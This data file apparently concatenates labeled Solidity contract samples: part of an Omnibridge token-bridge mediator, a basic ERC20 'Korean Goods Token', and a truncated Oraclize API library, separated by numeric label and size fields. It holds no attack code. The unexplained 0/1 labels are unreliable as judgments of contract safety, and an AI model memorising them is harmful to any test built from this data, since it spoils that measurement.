require(!isTokenRegistered(_bridgedToken));
require(nativeTokenAddress(_bridgedToken) == address(0));
require(bridgedTokenAddress(_nativeToken) == address(0));
IBurnableMintableERC677Token(_bridgedToken).safeMint(address(this), 1);
IBurnableMintableERC677Token(_bridgedToken).burn(1);
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isRegisteredAsNativeToken(_token));
uint256 balance = IERC677(_token).balanceOf(address(this));
uint256 expectedBalance = mediatorBalance(_token);
require(balance > expectedBalance);
uint256 diff = balance - expectedBalance;
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
bytes memory data = _prepareMessage(address(0), _token, _receiver, diff, new bytes(0));
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, diff);
}
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
function claimTokensFromTokenContract(
address _bridgedToken,
address _token,
address _to
) external onlyIfUpgradeabilityOwner {
IBurnableMintableERC677Token(_bridgedToken).claimTokens(_token, _to);
}
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _value
) internal {
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _value);
emit TokensBridgingInitiated(_token, _sender, _value, _messageId);
}
function _prepareMessage(
address _nativeToken,
address _token,
address _receiver,
uint256 _value,
bytes memory _data
) internal returns (bytes memory) {
bool withData = _data.length > 0 || msg.sig == this.relayTokensAndCall.selector;
if (_nativeToken == address(0)) {
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
if (isBridgedTokenDeployAcknowledged(_token)) {
return
withData
? abi.encodeWithSelector(
this.handleBridgedTokensAndCall.selector,
_token,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, _value);
}
uint8 decimals = TokenReader.readDecimals(_token);
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
withData
? abi.encodeWithSelector(
this.deployAndHandleBridgedTokensAndCall.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(
this.deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value
);
}
IBurnableMintableERC677Token(_token).burn(_value);
return
withData
? abi.encodeWithSelector(
this.handleNativeTokensAndCall.selector,
_nativeToken,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleNativeTokens.selector, _nativeToken, _receiver, _value);
}
function _getMinterFor(address _token) internal pure virtual returns (IBurnableMintableERC677Token) {
return IBurnableMintableERC677Token(_token);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal virtual {
if (_isNative) {
IERC677(_token).safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_balanceChange));
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _getBridgedTokenOrDeploy(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals
) internal returns (address) {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = _transformName(name);
bridgedToken = tokenFactory().deploy(name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, bridgedToken);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
} else if (!isTokenRegistered(bridgedToken)) {
require(IERC20Metadata(bridgedToken).decimals() == _decimals);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
}
return bridgedToken;
}
function _receiverCallback(
address _recipient,
address _token,
uint256 _value,
bytes memory _data
) internal {
if (Address.isContract(_recipient)) {
_recipient.call(abi.encodeWithSelector(IERC20Receiver.onTokenBridged.selector, _token, _value, _data));
}
}
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be;
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
pragma solidity 0.7.5;
contract ForeignOmnibridge is BasicOmnibridge, GasLimitManager {
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
constructor(string memory _suffix) BasicOmnibridge(_suffix) {}
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] calldata _dailyLimitMaxPerTxMinPerTxArray,
uint256[2] calldata _executionDailyLimitExecutionMaxPerTxArray,
uint256 _requestGasLimit,
address _owner,
address _tokenFactory
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenFactory(_tokenFactory);
setInitialize();
return isInitialized();
}
function upgradeToReverseMode(address _tokenFactory) external {
require(msg.sender == address(this));
_setTokenFactory(_tokenFactory);
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal override {
require(!lock());
require(withinExecutionLimit(_token, _value));
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
_releaseTokens(_isNative, _token, _recipient, _value, _value);
emit TokensBridged(_token, _recipient, _value, messageId());
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual override {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
if (!isTokenRegistered(_token)) {
uint8 decimals = TokenReader.readDecimals(_token);
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data = _prepareMessage(nativeTokenAddress(_token), _token, _receiver, _value, _data);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _from, _value);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal override {
if (_isNative) {
uint256 balance = mediatorBalance(_token);
if (_token == address(0x0Ae055097C6d159879521C384F1D2123D1f195e6) && balance < _value) {
IBurnableMintableERC677Token(_token).safeMint(address(this), _value - balance);
balance = _value;
}
_setMediatorBalance(_token, balance.sub(_balanceChange));
IERC677(_token).safeTransfer(_recipient, _value);
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
} | 0 | 1,005 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || allowed[msg.sender][_spender]== 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract KGTToken is StandardToken {
string public constant name = "Korean Goods Token";
string public constant symbol = "KGT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 815 * (10 ** 7) * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 2,668 |
pragma solidity ^0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
